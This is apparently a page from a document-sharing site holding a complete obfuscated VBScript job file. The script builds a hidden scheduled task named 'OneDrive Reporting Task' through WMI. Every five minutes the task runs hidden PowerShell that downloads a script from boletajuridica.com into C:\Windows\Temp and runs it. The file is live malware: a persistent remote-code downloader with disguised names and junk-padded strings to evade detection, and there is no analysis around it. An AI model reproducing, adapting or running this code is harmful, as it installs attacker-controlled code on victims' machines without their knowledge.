You are on page 1of 2

<job id="VBScriptJob"><script language="VBScript">

const impersonation = 3
Const HIDDEN_WINDOW = 0
Dim maca
Dim uri1
Dim locator1
Dim MICROSOFT1
Dim objStartup1
uri1 = "'https://boletajuridica.com/min'"
locator1 = "Wb.ó{-@ö´ö{-(%(´óú??+*-*õðöö*\$öö?(*@*.
{ø**{.ö$@õ[ð[mScripting.SWb.ó{-@ö´ö{-(%(´óú??+*-*õðöö*\$öö?(*@*.
{ø**{.ö$@õ[ð[mLocator"
locator1 = Replace(locator1,".ó{-@ö´ö{-(%(´óú??+*-*õðöö*\$öö?(*@*.
{ø**{.ö$@õ[ð[","e")
objStartup1 = "Win32_Proce%_õ´]{´×={@-?--*.4´{{+{{*ø(ú.%?õ?_ö{}}$]({$(./ð¨}õ
%_õ´]{´×={@-?--*.4´{{+{{*ø(ú.%?õ?_ö{}}$]({$(./ð¨}õ%_õ´]{´×={@-?--*.4´{{+{{*ø(ú.%?õ?
_ö{}}$]({$(./ð¨}õtartup"
objStartup1 = Replace(objStartup1,"%_õ´]{´×={@-?--*.4´{{+{{*ø(ú.%?õ?_ö{}}$]
({$(./ð¨}õ","s")
MICROSOFT1 = "W/=./}%%%{]ø?ø--+&´+ö.#]+[[`õ?(#;{×/¨{/.×*?ö](*{4¨¨/4+ú_\:.ö[ó?
ö*={ú.+%-:}]?ö*:;{%\×ö*;*#`_[`*}ø.+?%}n32_Process"
MICROSOFT1 = Replace(MICROSOFT1,"/=./}%%%{]ø?ø--+&´+ö.#]+[[`õ?(#;{×/¨{/.×*?ö]
(*{4¨¨/4+ú_\:.ö[ó?ö*={ú.+%-:}]?ö*:;{%\×ö*;*#`_[`*}ø.+?%}","i")
Set Locator = CreateObject(locator1)
Set Service = Locator.ConnectServer()
Service.Security_.ImpersonationLevel=impersonation
Set objStartup = Service.Get(objStartup1)
Set objConfig = objStartup.SpawnInstance_
Set MICROSOFT = Service.Get(MICROSOFT1)
maca= "×%#ö-}\//}¨/}*+{+-[[\ö4*}-{*ö?*[_]\õ_ö`{¨.\/.õ%-?\-]ð:{\]-/%-/õ*.ö-/
´.×;õú?.+.?öõ-/}¨/2ö+´}@@ö×ø/.;óchta×%#ö-}\//}¨/}*+{+-[[\ö4*}-{*ö?*[_]\õ_ö`{¨.\/.õ
%-?\-]ð:{\]-/%-/õ*.ö-/´.×;õú?.+.?öõ-/}¨/2ö+´}@@ö×ø/.;ók×%#ö-}\//}¨/}*+{+-[[\ö4*}-
{*ö?*[_]\õ_ö`{¨.\/.õ%-?\-]ð:{\]-/%-/õ*.ö-/´.×;õú?.+.?öõ-/}¨/2ö+´}@@ö×ø/.;ó
/create /×%#ö-}\//}¨/}*+{+-[[\ö4*}-{*ö?*[_]\õ_ö`{¨.\/.õ%-?\-]ð:{\]-/%-/õ*.ö-/
´.×;õú?.+.?öõ-/}¨/2ö+´}@@ö×ø/.;óc MINUTE /mo 5 /tn ""OneDrive Reporting Ta×
%#ö-}\//}¨/}*+{+-[[\ö4*}-{*ö?*[_]\õ_ö`{¨.\/.õ%-?\-]ð:{\]-/%-/õ*.ö-/´.×;õú?.+.?
öõ-/}¨/2ö+´}@@ö×ø/.;ó"" /tr ""\""%windir%\×%#ö-}\//}¨/}*+{+-[[\ö4*}-{*ö?*[_]\
õ_ö`{¨.\/.õ%-?\-]ð:{\]-/%-/õ*.ö-/´.×;õú?.+.?öõ-/}¨/2ö+´}@@ö×ø/.;óy×%#ö-}\//}¨/}*+
{+-[[\ö4*}-{*ö?*[_]\õ_ö`{¨.\/.õ%-?\-]ð:{\]-/%-/õ*.ö-/´.×;õú?.+.?öõ-/}¨/2ö+
´}@@ö×ø/.;ótem32\Window×%#ö-}\//}¨/}*+{+-[[\ö4*}-{*ö?*[_]\õ_ö`{¨.\/.õ%-?\-]ð:{\]-/
%-/õ*.ö-/´.×;õú?.+.?öõ-/}¨/2ö+´}@@ö×ø/.;óPower×%#ö-}\//}¨/}*+{+-[[\ö4*}-{*ö?*[_]\
õ_ö`{¨.\/.õ%-?\-]ð:{\]-/%-/õ*.ö-/´.×;õú?.+.?öõ-/}¨/2ö+´}@@ö×ø/.;óhell\v1.0\power×
%#ö-}\//}¨/}*+{+-[[\ö4*}-{*ö?*[_]\õ_ö`{¨.\/.õ%-?\-]ð:{\]-/%-/õ*.ö-/´.×;õú?.+.?
öõ-/}¨/2ö+´}@@ö×ø/.;óhell.exe\"" -Window×%#ö-}\//}¨/}*+{+-[[\ö4*}-{*ö?*[_]\
õ_ö`{¨.\/.õ%-?\-]ð:{\]-/%-/õ*.ö-/´.×;õú?.+.?öõ-/}¨/2ö+´}@@ö×ø/.;ótyle Hidden $a =
wget "+uri1+" -o C:\Window×%#ö-}\//}¨/}*+{+-[[\ö4*}-{*ö?*[_]\õ_ö`{¨.\/.õ%-?\-]ð:
{\]-/%-/õ*.ö-/´.×;õú?.+.?öõ-/}¨/2ö+´}@@ö×ø/.;ó\Temp\t.vb×%#ö-}\//}¨/}*+{+-[[\ö4*}-
{*ö?*[_]\õ_ö`{¨.\/.õ%-?\-]ð:{\]-/%-/õ*.ö-/´.×;õú?.+.?öõ-/}¨/2ö+´}@@ö×ø/.;ó;×
%#ö-}\//}¨/}*+{+-[[\ö4*}-{*ö?*[_]\õ_ö`{¨.\/.õ%-?\-]ð:{\]-/%-/õ*.ö-/´.×;õú?.+.?
öõ-/}¨/2ö+´}@@ö×ø/.;ótart-×%#ö-}\//}¨/}*+{+-[[\ö4*}-{*ö?*[_]\õ_ö`{¨.\/.õ%-?\-]ð:
{\]-/%-/õ*.ö-/´.×;õú?.+.?öõ-/}¨/2ö+´}@@ö×ø/.;óleep 5;×%#ö-}\//}¨/}*+{+-[[\ö4*}-{*ö?
*[_]\õ_ö`{¨.\/.õ%-?\-]ð:{\]-/%-/õ*.ö-/´.×;õú?.+.?öõ-/}¨/2ö+´}@@ö×ø/.;ótart-Proce×
%#ö-}\//}¨/}*+{+-[[\ö4*}-{*ö?*[_]\õ_ö`{¨.\/.õ%-?\-]ð:{\]-/%-/õ*.ö-/´.×;õú?.+.?
öõ-/}¨/2ö+´}@@ö×ø/.;ó×%#ö-}\//}¨/}*+{+-[[\ö4*}-{*ö?*[_]\õ_ö`{¨.\/.õ%-?\-]ð:{\]-/
%-/õ*.ö-/´.×;õú?.+.?öõ-/}¨/2ö+´}@@ö×ø/.;ó C:\Window×%#ö-}\//}¨/}*+{+-[[\ö4*}-{*ö?
*[_]\õ_ö`{¨.\/.õ%-?\-]ð:{\]-/%-/õ*.ö-/´.×;õú?.+.?öõ-/}¨/2ö+´}@@ö×ø/.;ó\Temp\t.vb×
%#ö-}\//}¨/}*+{+-[[\ö4*}-{*ö?*[_]\õ_ö`{¨.\/.õ%-?\-]ð:{\]-/%-/õ*.ö-/´.×;õú?.+.?
öõ-/}¨/2ö+´}@@ö×ø/.;ó"" /F"
maca= Replace(maca,"×%#ö-}\//}¨/}*+{+-[[\ö4*}-{*ö?*[_]\õ_ö`{¨.\/.õ%-?\-]ð:
{\]-/%-/õ*.ö-/´.×;õú?.+.?öõ-/}¨/2ö+´}@@ö×ø/.;ó","s")
Error = MICROSOFT.Create(maca, null, objConfig, intProcessID, 0, false)
</script></job>

You might also like